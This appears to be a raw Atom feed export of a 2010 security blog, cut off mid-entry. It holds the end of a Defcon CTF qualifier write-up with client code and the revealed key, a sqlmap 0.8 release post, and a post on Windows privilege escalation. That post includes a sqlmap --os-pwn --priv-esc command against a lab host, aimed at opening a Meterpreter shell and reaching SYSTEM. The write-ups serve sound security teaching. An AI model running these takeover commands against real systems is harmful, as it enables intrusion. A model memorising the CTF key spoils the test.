style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if not question and &quot;Password&quot; not in data and &quot;password&quot; not in data and &quot;Again&quot; not in data:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data = s.recv(1024)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data = data.decode(&#39;EBCDIC-CP-BE&#39;).encode(&#39;ascii&#39;)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print data&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;s.close()&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;The code looks ugly, but it worked pretty well. I launched it and interacted with the server:&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:sans-serif;&quot;&gt;&lt;div&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;$ python pkt200_55216efa7a182fb0.py &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;For help at any time enter: ?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;?&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;a - new user&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;l - login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;n - news&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;m - maintenance&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;q - quit&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;? - print this message&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;a&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;New user id: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lulzteam&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;New user password: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lulz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Again: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lulz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Welcome &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lulzteam, we hope you enjoy our bbs&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;You may now login&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;n&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Please log in to read the news.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;m&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Please log in to use maintenance mode.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;l&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;User: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lulzteam&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Password: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;lulz&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Welcome back&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;m&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Insufficient privileges.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;cmd : &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;n&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;Welcome to our news bulletin board&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;5/21/2010 - Defcon qualifiers are underway.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;5/18/2010 - It&#39;s Bob Randolph&#39;s birthday today, wish him well&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;            if you see him&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;5/16/2010 - It&#39;s IBM old timer&#39;s night at the bowling alley. &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;            The key thing to remember at these things is that: &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;            once upon a time IBM ruled the world&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;4/29/2001 - First post! w00t!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;div&gt;The key is &lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;courier new&#39;;&quot;&gt;once upon a time IBM ruled the world&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;.&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/8493071151294024159/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/8493071151294024159' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/8493071151294024159'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/8493071151294024159'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/05/defcon-18-ctf-quals-writeup-packet.html' title='Defcon 18 CTF quals writeup: Packet Madness 200'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-2866632618632761839</id><published>2010-03-15T10:05:00.009+00:00</published><updated>2010-03-15T10:43:34.066+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="datamining"/><category scheme="http://www.blogger.com/atom/ns#" term="dbms"/><category scheme="http://www.blogger.com/atom/ns#" term="enumeration"/><category scheme="http://www.blogger.com/atom/ns#" term="kitrap0d"/><category scheme="http://www.blogger.com/atom/ns#" term="mssql"/><category scheme="http://www.blogger.com/atom/ns#" term="mysql"/><category scheme="http://www.blogger.com/atom/ns#" term="oracle"/><category scheme="http://www.blogger.com/atom/ns#" term="pgsql"/><category scheme="http://www.blogger.com/atom/ns#" term="privesc"/><category scheme="http://www.blogger.com/atom/ns#" term="sql injection"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><category scheme="http://www.blogger.com/atom/ns#" term="takeover"/><title type='text'>sqlmap 0.8 released</title><content type='html'>&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;It has been a while since I released the &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://bernardodamele.blogspot.com/2009/07/sqlmap-07-released.html&quot;&gt;previous stable version of sqlmap&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;. Now &lt;a href=&quot;http://sqlmap.sourceforge.net/#download&quot;&gt;sqlmap &lt;/a&gt;&lt;/span&gt;&lt;a href=&quot;http://sqlmap.sourceforge.net/#download&quot;&gt;&lt;span style=&quot;font-weight: bold;font-family:trebuchet ms;&quot; &gt;0.8&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; stable is out!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Some of the new features include:&lt;/span&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:trebuchet ms;font-size:medium;&quot;  &gt;&lt;/span&gt;&lt;ul  style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;li&gt;Support to enumerate and&lt;span style=&quot;font-weight: bold;&quot;&gt; dump all databases&#39; tables containing user provided column(s)&lt;/span&gt; by specifying for instance &lt;span style=&quot;font-family:courier new;&quot;&gt;--dump -C user,pass&lt;/span&gt;. Useful to identify for instance tables containing custom application credentials.&lt;/li&gt;&lt;li&gt;Support to parse &lt;span style=&quot;font-family:courier new;&quot;&gt;-C&lt;/span&gt; (column name(s)) when fetching columns of a table with --columns: it will enumerate only columns like the provided one(s) within the specified table.&lt;/li&gt;&lt;li&gt;Support for &lt;span style=&quot;font-weight: bold;&quot;&gt;takeover&lt;/span&gt; features on PostgreSQL 8.4.&lt;/li&gt;&lt;li&gt;Enhanced &lt;span style=&quot;font-family:courier new;&quot;&gt;--priv-esc&lt;/span&gt; to rely on new Metasploit Meterpreter&#39;s &lt;span style=&quot;font-family:courier new;&quot;&gt;getsystem&lt;/span&gt; command to elevate privileges of the user running the back-end DBMS instance to &lt;span style=&quot;font-weight: bold;&quot;&gt;SYSTEM&lt;/span&gt; on Windows.&lt;/li&gt;&lt;li&gt;Automatic support in&lt;span style=&quot;font-family:courier new;&quot;&gt; --os-pwn&lt;/span&gt; to &lt;span style=&quot;font-weight: bold;&quot;&gt;use the web uploader/backdoor to upload and execute the Metasploit payload stager when stacked queries SQL injection is not supported&lt;/span&gt;, for instance on MySQL/PHP and MySQL/ASP, but there is a writable folder within the web server document root.&lt;/li&gt;&lt;li&gt;Added support for &lt;span style=&quot;font-weight: bold;&quot;&gt;regular expression based scope&lt;/span&gt; when parsing Burp or Web Scarab proxy log file (-l), &lt;span style=&quot;font-family:courier new;&quot;&gt;--scope&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;Major bug fix and enhancements to the &lt;span style=&quot;font-weight: bold;&quot;&gt;multi-threading&lt;/span&gt; (&lt;span style=&quot;font-family:courier new;&quot;&gt;--threads&lt;/span&gt;) functionality.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;font-family:trebuchet ms;font-size:medium;&quot;  &gt;&lt;pre&gt;Complete list of changes at&lt;br /&gt;&lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&quot;&gt;https://svn.sqlmap.org/sqlmap/trunk/sqlmap/doc/ChangeLog&lt;/a&gt;.&lt;/pre&gt;&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Also, I am looking for security geeks who can write some &quot;clean&quot; Python code, know about web application security, database takeover, post-exploitation techniques, software refactoring and are motivated to join the development team. If you are interested, please get back to &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://sqlmap.sourceforge.net/#author&quot;&gt;me&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;. If you have no clue what the tool is about, are excited about joining the effort, but has never written a single line of code or you want only to appear in the &lt;span style=&quot;font-family:courier new;&quot;&gt;AUTHORS&lt;/span&gt; file, please don&#39;t waste my and your time.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;For the sceptical.. No, it&#39;s &lt;/span&gt;&lt;span style=&quot;font-weight: bold;font-family:trebuchet ms;&quot; &gt;not&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; only about web application. Yes, it helps you also to &lt;/span&gt;&lt;span style=&quot;font-weight: bold;font-family:trebuchet ms;&quot; &gt;get a command prompt on the target system&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;. Yes, it can be used to &lt;/span&gt;&lt;span style=&quot;font-weight: bold;font-family:trebuchet ms;&quot; &gt;privilege escalate to SYSTEM&lt;/span&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; if the target system is Windows.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Not yet convinced that this tool is worth a try? Get some popcorns, head to &lt;/span&gt;&lt;a style=&quot;font-family: trebuchet ms;&quot; href=&quot;http://sqlmap.sourceforge.net/demo.html&quot;&gt;http://sqlmap.sourceforge.net/demo.html&lt;/a&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt; and watch some video demonstrations.&lt;br /&gt;&lt;br /&gt;Here it is an incentive for you..&lt;br /&gt;&lt;/span&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;&lt;object height=&quot;385&quot; width=&quot;480&quot;&gt;&lt;param name=&quot;movie&quot; value=&quot;http://www.youtube.com/v/RsQ52eCcTi4&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;&quot;&gt;&lt;param name=&quot;allowFullScreen&quot; value=&quot;true&quot;&gt;&lt;param name=&quot;allowscriptaccess&quot; value=&quot;always&quot;&gt;&lt;embed src=&quot;http://www.youtube.com/v/RsQ52eCcTi4&amp;amp;hl=en_US&amp;amp;fs=1&amp;amp;&quot; type=&quot;application/x-shockwave-flash&quot; allowscriptaccess=&quot;always&quot; allowfullscreen=&quot;true&quot; height=&quot;385&quot; width=&quot;480&quot;&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bernardodamele.blogspot.com/feeds/2866632618632761839/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/5992960384014403726/2866632618632761839' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/2866632618632761839'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5992960384014403726/posts/default/2866632618632761839'/><link rel='alternate' type='text/html' href='http://bernardodamele.blogspot.com/2010/03/sqlmap-08-released.html' title='sqlmap 0.8 released'/><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5992960384014403726.post-5594724832612110134</id><published>2010-01-29T22:04:00.023+00:00</published><updated>2010-01-29T23:31:47.205+00:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="privilege escalation"/><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap"/><title type='text'>Privilege escalation on Windows hotness</title><content type='html'>&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;There are several techniques to elevate your privileges on Windows to Administrator user or SYSTEM like abusing Windows Impersonation Tokens (fixed by &lt;a href=&quot;http://blogs.technet.com/srd/archive/2009/04/14/ms09-012-fixing-token-kidnapping.aspx&quot;&gt;MS09-012&lt;/a&gt;), abusing LSASS via token passing (&lt;a href=&quot;http://oss.coresecurity.com/projects/pshtoolkit.htm&quot;&gt;Pass-the-Hash Toolkit&lt;/a&gt;) which requires you to have already Administrator privilege anyway, exploiting weak permissions (read and &lt;b&gt;write&lt;/b&gt;) in the services (most of them by default run as SYSTEM, if you are lucky they run as a domain administrator), etc.&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;For a couple of weeks now it has become even more easy and user-friendly: &lt;a href=&quot;http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html&quot;&gt;KiTrap0D&lt;/a&gt; exploit released by &lt;a href=&quot;http://taviso.decsystem.org/&quot;&gt;Tavis Ormandy&lt;/a&gt; and, at the time of writing this post, still &lt;b&gt;unpatched&lt;/b&gt; by Microsoft.&lt;/span&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;For the Metasploit fans, &lt;a href=&quot;http://digitaloffense.net/&quot;&gt;HD Moore&lt;/a&gt; and &lt;a href=&quot;http://twitter.com/pusscat&quot;&gt;Pusscat&lt;/a&gt; committed in the last week on the Framework &lt;a href=&quot;http://metasploit.com/svn/framework3/trunk&quot;&gt;subversion repository&lt;/a&gt; an &lt;a href=&quot;http://metasploit.com/redmine/projects/framework/repository/show/external/source/kitrap0d&quot;&gt;enhanced&lt;/a&gt; &lt;a href=&quot;http://metasploit.com/redmine/projects/framework/repository/show/data/exploits/kitrap0d&quot;&gt;version&lt;/a&gt; of the KiTrap0D exploit (which works also on Windows Server 2003 SP2 fully patched) and the Meterpreter&#39;s &lt;a href=&quot;http://metasploit.com/redmine/projects/framework/repository/changes/scripts/meterpreter/kitrap0d.rb&quot;&gt;kitrap0d script&lt;/a&gt; to launch it. &lt;a href=&quot;http://www.harmonysecurity.com/&quot;&gt;Stephen Fewer&lt;/a&gt; on his side committed in the last days a major enhancement to the &lt;a href=&quot;http://metasploit.com/redmine/projects/framework/repository/show/data/meterpreter&quot;&gt;Meterpreter extensions&lt;/a&gt;&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-weight: normal;&quot;&gt;: &lt;/span&gt;getsystem&lt;/b&gt; command is available and implements, as of today, four different techniques to elevate privileges to &lt;b&gt;SYSTEM&lt;/b&gt; on a Windows target system either if your Meterpreter session is running as Administrator or as a really unprivileged user. The last technique implemented is, again, kitrap0d so you have no excuses to be able to elevate your privileges once you have established a Meterpreter session.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;On my side, I have adapted &lt;a href=&quot;https://svn.sqlmap.org/sqlmap/trunk/sqlmap&quot;&gt;sqlmap&lt;/a&gt; to rely on &lt;b&gt;getsystem&lt;/b&gt; brand new Meterpreter command to elevate privileges of the user running the back-end database management system service (for instance &lt;i&gt;Network Service&lt;/i&gt; for Microsoft SQL Server) to SYSTEM.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class=&quot;Apple-style-span&quot;  style=&quot;font-family:&#39;trebuchet ms&#39;;&quot;&gt;Follows an example of sqlmap against a PostgreSQL 8.4 (latest stable release) instance running on Windows 2003 Service Pack 2 fully patched. For your knowledge, PostgreSQL on Windows runs as a low privileged user, &lt;i&gt;postgres&lt;/i&gt;.&lt;/span&gt;&lt;pre&gt;&lt;br /&gt;$ ifconfig vmnet8&lt;br /&gt;vmnet8    Link encap:Ethernet  HWaddr 00:50:56:c0:00:08&lt;br /&gt;       inet addr:&lt;span style=&quot;font-weight:bold;&quot;&gt;172.16.213.1&lt;/span&gt;  Bcast:172.16.213.255  Mask:255.255.255.0&lt;br /&gt;[...]&lt;br /&gt;$ svn info&lt;br /&gt;Path: .&lt;br /&gt;URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap&lt;br /&gt;Repository Root: https://svn.sqlmap.org/sqlmap&lt;br /&gt;Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb&lt;br /&gt;Revision: 1181&lt;br /&gt;Node Kind: directory&lt;br /&gt;Schedule: normal&lt;br /&gt;Last Changed Author: inquisb&lt;br /&gt;Last Changed Rev: 1181&lt;br /&gt;Last Changed Date: 2010-01-29 22:58:12 +0000 (Fri, 29 Jan 2010)&lt;br /&gt;$ python sqlmap.py -u &quot;http://&lt;span style=&quot;font-weight:bold;&quot;&gt;172.16.213.128&lt;/span&gt;/sqlmap/pgsql/iis/get_int_84&lt;br /&gt;.aspx?id=1&quot; -v 1 --os-pwn --msf-path ~/software/metasploit --priv-esc&lt;br /&gt;&lt;br /&gt;sqlmap/0.8-rc6&lt;br /&gt;by Bernardo Damele A. G. &lt;bernardo.damele@gmail.com&gt;&lt;br /&gt;&lt;br /&gt;[*] starting at: 22:43:56&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;[22:44:08] [INFO] testing PostgreSQL&lt;br /&gt;[22:44:09] 